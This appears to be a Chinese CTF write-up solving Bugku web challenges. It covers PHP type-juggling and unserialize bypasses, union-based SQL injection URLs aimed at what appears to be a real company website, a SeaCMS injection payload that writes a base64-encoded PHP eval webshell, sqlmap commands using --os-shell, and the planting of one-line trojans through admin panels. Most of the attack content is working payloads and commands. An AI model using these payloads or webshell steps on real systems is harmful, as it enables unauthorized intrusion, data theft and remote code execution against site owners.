$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

从第7行代码我们可以知道,除了空白字符和制表符外不能超过12个字符,还有第9行那个

1
echo 'flag';

这个是个字符串flag,真正的flag在26行处。
第15行处,

1
2
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr))

要求我们传入的参数中,标点,数字,大写小写字母被匹配的次数大于6。

1
2
3
4
5
6
7
8
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;

同时要求我们包含这几种类型至少三种以上,且使password参数和42相等
payload:

1
password=42.00e+0000000000

flag{Bugku_preg_match}

flag.php

提示信息:点了login咋没反应,提示:hint
这题有毒,提示hint,竟然是以hint为参数,随便传入一个值即可获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

一开始,我把反序列化数据,然后按照

1
s:21:"ISecer:www.isecer.com";

Alt text
传了上去,感觉智商再次被侮辱..这个$key变量的值是后面才传入的,所以我们应该传个空的反序列化数据:
Alt text

实战2-

打开页面,既然题目说了,那就找,点了一遍,发现一个https://www.kabelindo.co.id/readnews.php?id=18
顺手一个单引号,诶报错了,那就来

1
2
3
4
5
6
https://www.kabelindo.co.id/readnews.php?id=18 order by 5 --+ 
https://www.kabelindo.co.id/readnews.php?id=18 select 1,2,3,4,5 --+
https://www.kabelindo.co.id/readnews.php?id=18
select 1,version(),database(),4,5 --+
https://www.kabelindo.co.id/readnews.php?id=18
select 1,2,table_name,4,5 from information_schema.tables --+

表名出来了,flag{tbnomax}

Bugku-cms1

打开页面,往下一拉,Powered by SongCMS v3.13 免费版
日常扫目录,发现一个/data/,打开一看有个sql文件,里面有两个账号密码,分别试了一下,进了后台,找下上传文件的地方
CukCtJ.jpg
CukA6x.jpg
然后上传成功,菜刀一连,flag就在根目录下

phpcmsV9

照着漏洞来就行了
https://www.freebuf.com/vuls/131648.html

海洋cms

个人觉得,这些题考察exp快速搜索能力
参考:https://blog.csdn.net/qq_35078631/article/details/76595817

1
2
3
https://120.24.86.145:8008/search.php?searchtype=5
searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&
cmd=fwrite(fopen("pass.php","w"),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc3d4XSk7Pz4))

然后菜刀连接:

bugku导航

稍微浏览了一下基本页面,顺手吧目录扫描器开启,发现两个登录的地方:
一个是首页用户登录的,放进sqlmap跑了一下,无果。
还有一个地方是后台登录的页面:https://120.24.86.145:9006/admin/login.php#
post,burpsuite抓了个包保存到本地,试了一下username参数

1
python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username

Alt text
上webshell:

1
python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username --os-shell

但是都上传失败了…没爆出网站路径
不过我爆了一下敏感数据,拿到了后台管理员账号:
Alt text
后台有很多图片上传的地方,不过上传成功后,都会被改名成.png
找到了个添加广告的地方,随便插了一个一句话木马:
Alt text
插入失败了,又是sql…
试试这样:
Alt text
没找到广告插在哪个页面了….
后来,扫了一下备份文件,把他源码下下来了。flag在根目录。